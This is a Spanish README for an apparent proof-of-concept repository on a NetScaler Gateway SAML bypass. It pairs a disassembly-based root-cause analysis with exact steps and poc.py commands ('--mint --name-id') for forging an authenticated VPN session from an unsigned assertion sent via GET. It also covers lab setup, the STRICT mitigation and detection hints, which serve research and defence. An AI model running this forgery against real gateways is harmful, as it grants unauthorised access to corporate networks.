
NetScaler ADC/Gateway: omisión de aserción SAML sin firmar mediante el enlace HTTP-Redirect (CTX696939): análisis de causa raíz + PoC
Falsificación de sesión no autenticada en Citrix NetScaler ADC / NetScaler Gateway a través del
manejador de enlace HTTP-Redirect SAML en GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288.
Boletín CTX696939 (2026-08-19), sin workarounds. El crédito del informe original es para
Samarth Vashisht (equipo de pentest de JPMorgan Chase); el análisis de causa raíz y el
código en este repositorio son trabajo propio.
Afectados: 14.1 anteriores a 14.1-73.32, 13.1 anteriores a 13.1-63.21. Corregido en esas dos versiones.
Dos cosas fallan juntas en nsppe, el motor de paquetes.
1. el enlace de redirect analiza las aserciones con el flag strict desactivado.
Todos los puntos de llamada del analizador de respuestas SAML (sub_b40a50) configuran un argumento
"strict" antes de la llamada. La ruta del enlace POST (lo que los navegadores usan realmente para las respuestas SAML)
lo pasa activado. La ruta del enlace HTTP-Redirect no:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- el analizador
Esa es la ruta alternativa en el sentido de CWE-288. Misma superficie de solicitud, invocación del analizador
más débil, alcanzable por cualquiera que pueda enviar un GET con un parámetro de consulta SAMLResponse.
2. la compuerta de aserción sin firmar trata la configuración predeterminada como ALLOW.
Dentro del manejador de redirect, cuando la solicitud no lleva SigAlg/Signature, la
palabra de configuración para rejectUnsignedAssertion se compara y bifurca así:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- salta a la ruta ACCEPT
Los valores de la palabra son: 2 = rejectUnsignedAssertion ON (el predeterminado), 3 = STRICT.
El je envía 2 a accept. Solo STRICT llega a la línea de registro de denegación:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
Así que en un equipo con configuración predeterminada, una aserción sin firmar entregada al enlace de redirect se analiza (strict off), se acepta más allá de la compuerta de sin firmar (ON malinterpretado como allow), y luego ejecuta los pasos posteriores al análisis habituales: comprobaciones de emisor/audiencia/sujeto contra la configuración de acción SAML, y luego la construcción de la sesión a partir de campos proporcionados por el atacante. Sin digest, sin verificación RSA, en ningún punto de esa ruta. El enlace POST no se ve afectado de la misma manera — pasa strict al analizador y rechaza la entrada sin firmar correctamente.
Precondiciones según el boletín, confirmadas contra el binario: las versiones desde 14.1-43.56 / 13.1-61.28 en adelante necesitan una acción SAML vinculada a un vserver Gateway o AAA (la configuración SAML SSO normal, por lo que la mayoría de los despliegues SAML califican). Las versiones anteriores registran la ruta solo con el vserver.
Un GET. Construye una Respuesta SAML sin <ds:Signature> en ningún lugar, aplícale DEFLATE + base64
y envíala:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
Los valores que deben coincidir con la configuración de acción SAML del objetivo: Issuer de la aserción = el
entity ID del IdP, Audience = el entity ID del SP, Recipient/Destination = la URL ACS, y
en configuraciones transaccionales un InResponseTo de una AuthnRequest activa. --mint recorre el
redirect de login previo a la autenticación del propio gateway para capturarlos (el SAMLRequest en el
encabezado Location los lleva todos). Un 302 a /vpn/ más una cookie NSC_AAAC /
NSC_TASS real (no los marcadores de eliminación xyz) es una sesión falsificada como cualquier
NameID que pongas.
pip install requests
# ¿está el endpoint ahí y el enlace GET procesa SAMLResponse en absoluto?
python3 poc.py https://vpn.target.com --check-only
# sonda de configuración no intrusiva: aserción sin firmar con un emisor deliberadamente INCORRECTO.
# 'Malformed Assertion' (0xe0005) -> STRICT, no vulnerable a este vector
# error de emisor/política (0xe0012) -> configuración predeterminada, vulnerable; no se acuña sesión
python3 poc.py https://vpn.target.com --safe-oracle
# cadena completa (solo objetivos autorizados): acuña la cadena SP, falsifica, valida una vez
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle existe porque las dos configuraciones devuelven páginas de error diferentes antes de que
ocurra algo con forma de sesión, que es también cómo los defensores pueden autocomprobarse sin
tocar un IdP real. Ejecútalo contra tu propio equipo.
demo/demo.gif (también demo.mp4, y demo/demo.cast si quieres reproducirlo con
asciinema play): versión afectada desde la imagen docker, la configuración predeterminada de palabra-2,
las dos bifurcaciones binarias desensambladas del nsppe incluido, y la comprobación del endpoint del PoC.
El último tramo, la emisión de sesión, necesita un VPX con licencia — CPX Express rechaza
sesiones AAA en la capa de licencia — que es lo que lab/record-demo.sh captura cuando
tienes uno.
lab/setup-cpx.sh levanta la versión afectada exacta en docker:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
y configura una acción SAML con rejectUnsignedAssertion ON, una política y un
vserver Gateway. Dos advertencias aprendidas por las malas:
/cgi/samlauth
pero cada solicitud cae en 480 Login exceeds maximum allowed users. Suficiente
para reproducir configuración + endpoint + estado binario, no la cookie de sesión final.lab/record-demo.sh graba toda la
secuencia asciinema: versión, configuración, safe-oracle, sesión falsificada, control negativo STRICT.Los offsets del binario incluido arriba salen directamente de esa imagen:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT bloquea el vector de redirect
en la ruta vulnerable (hace que la palabra sea ==3). Ten en cuenta que STRICT también cambia
lo que el equipo espera de tu IdP (requisitos de firma de Response + Assertion),
que es presumiblemente por qué Citrix envía ON como predeterminado y por qué "solo pon STRICT"
no es un workaround limpio para todos./cgi/samlauth que llevan SAMLResponse en GET (las respuestas de
enlace redirect son raras en la naturaleza — los navegadores hacen POST), payloads sin firmar, y
el diferencial de páginas de error mencionado arriba.Solo para pruebas de seguridad autorizadas: tu propio laboratorio, o objetivos explícitamente dentro del alcance de un programa en el que estés autorizado. El autor no está afiliado a Citrix ni al equipo de informes original.
Licencia MIT, ver LICENSE.